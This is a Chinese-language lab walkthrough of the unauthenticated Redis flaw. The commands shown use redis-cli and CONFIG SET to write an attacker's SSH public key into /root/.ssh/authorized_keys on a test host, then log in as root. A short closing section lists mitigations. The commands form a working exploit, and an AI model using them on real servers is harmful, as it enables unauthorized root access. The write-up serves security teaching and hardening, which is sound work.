1. 漏洞概述（知道创宇）
Redis默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功在Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。
默认redis启动的用户如果没有修改，会以root方式启动，这样就redis就可以在任意位置写入公钥文件，继而可以完成远程控制。
2. 漏洞利用原理
a. redis监听在外网的6379端口，且无密码访问
b. 连接redis，可以指定redis的配置文件路径
c. 连接redis，将公钥以key值的方式写入redis，并且保存为authoried_keys
d. 远程ssh无密码连接
3.漏洞利用过程
a. 目标主机：192.168.1.105
b. 攻击主机：192.168.1.100
c. 远程redis连接,查看一下当前keys
- tusmdeMacBook-Pro-9:ssh tusm$ redis-cli -h 192.168.1.105
- 192.168.1.105:6379> KEYS *
- (empty list or set)
- 192.168.1.105:6379>
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d. 生成公私钥文件
- tusmdeMacBook-Pro-9:/ tusm$ mkdir -pv /tmp/ssh
- tusmdeMacBook-Pro-9:/ tusm$ cd /tmp/ssh/
- tusmdeMacBook-Pro-9:ssh tusm$ ssh-keygen -t rsa
- Generating public/private rsa key pair.
- Enter file in which to save the key (/Users/tusm/.ssh/id_rsa): /tmp/ssh/id_rsa
- Enter passphrase (empty for no passphrase):
- Enter same passphrase again:
- Your identification has been saved in /tmp/ssh/id_rsa.
- Your public key has been saved in /tmp/ssh/id_rsa.pub.
- The key fingerprint is:
- 15:bc:01:d1:57:c9:c2:9a:60:c9:6c:fa:fe:f8:41:65 tusm@tusmdeMacBook-Pro-9.local
- The key’s randomart image is:
- +–[ RSA 2048]—-+
- | oo*.. o.. |
- | B +.+ o |
- | + ..*E. |
- | . .+o |
- | .S . |
- | .. |
- | . . |
- | .. . |
- | .oo |
- +—————–+
- tusmdeMacBook-Pro-9:ssh tusm$ ls
- id_rsa id_rsa.pub
- tusmdeMacBook-Pro-9:ssh tusm$ (echo -e “\n\n”;cat id_rsa.pub;echo -e “\n\n”) > kali.txt
- tusmdeMacBook-Pro-9:ssh tusm$ cat kali.txt
- ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuRr4Adw53lIw4bA0YIocJ56o2IUcPTXESIU4d/I6peQLH9XN+NrDcRUBixocr8mjpDssNaNW8LKrE+JvlrFGU3p93gnVDnj2jfhYSWGvx35u9+pokCCZmU40zq8rOx9Bo37v1klBCZ+95LFTugbNkkNJDjNA7WsJtouVxGCcyK7GfNsNaWgCRqJ3O55z/ie4XN/AC3Qj2Qh1DoannPeudIaH59Qa7k2NGbtzp98HIDhSZuXp9RqQ2wIicAgScKU9qpV7PSvhLj3H7AhHBM4Q+GY+/yz2oVdVnK24fAek4oJ6dkZK95na22Sf3y6mDUvuPaehKt6rYb5loekRbVBxz tusm@tusmdeMacBook-Pro-9.local
- tusmdeMacBook-Pro-9:ssh tusm$
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e. 将公钥以key值的形式写入redis
- tusmdeMacBook-Pro-9:ssh tusm$ cat kali.txt |redis-cli -h 192.168.1.105 -x set crackit
- OK
- tusmdeMacBook-Pro-9:ssh tusm$ redis-cli -h 192.168.1.105
- 192.168.1.105:6379> KEYS *
- 1) “crackit”
- 192.168.1.105:6379> GET crackit
- “\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuRr4Adw53lIw4bA0YIocJ56o2IUcPTXESIU4d/I6peQLH9XN+NrDcRUBixocr8mjpDssNaNW8LKrE+JvlrFGU3p93gnVDnj2jfhYSWGvx35u9+pokCCZmU40zq8rOx9Bo37v1klBCZ+95LFTugbNkkNJDjNA7WsJtouVxGCcyK7GfNsNaWgCRqJ3O55z/ie4XN/AC3Qj2Qh1DoannPeudIaH59Qa7k2NGbtzp98HIDhSZuXp9RqQ2wIicAgScKU9qpV7PSvhLj3H7AhHBM4Q+GY+/yz2oVdVnK24fAek4oJ6dkZK95na22Sf3y6mDUvuPaehKt6rYb5loekRbVBxz tusm@tusmdeMacBook-Pro-9.local\n\n\n\n”
- 192.168.1.105:6379> CONFIG GET dir
- 1) “dir”
- 2) “/var/lib/redis”
- 192.168.1.105:6379> CONFIG set dir /root/.ssh/
- OK
- 192.168.1.105:6379> config set dbfilename “authorized_keys”
- OK
- 192.168.1.105:6379> save
- OK
- 192.168.1.105:6379> CONFIG set dir /var/lib/redis
- OK
- 192.168.1.105:6379> save
- OK
- #这样就把公钥写进受害者主机的/root/.ssh下，并且名称为authorized_keys，了解ssh的都会知道，这样我们就完成了远程无密码访问。
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f. 远程登录
- tusmdeMacBook-Pro-9:ssh tusm$ ssh -i id_rsa root@192.168.1.105
- Last login: Sun Jun 5 08:55:10 EDT 2016 from 192.168.1.100 on pts/2
- Linux kali 4.3.0-kali1-amd64 #1 SMP Debian 4.3.3-7kali2 (2016-01-27) x86_64
- The programs included with the Kali GNU/Linux system are free software;
- the exact distribution terms for each program are described in the
- individual files in /usr/share/doc/*/copyright.
- Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
- permitted by applicable law.
- root@kali:~#
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备注：这里redis漏洞之所以能够利用成功，一是无授权访问，而是以root用户运行，这样就可以跳过猜执行用户，而直接将公钥些人root下面，如果是以普通用户当然也能猜到，但是会耗费很大的力气。而且如果默认运行的用户是没有登录权限的，也是无法利用成功的。还有，即使这些条件都满足，但是我们做了防火墙策略，只允许某些IP地址登录，也是可以避免这种提权的，只是redis服务器的数据可以任意更改。
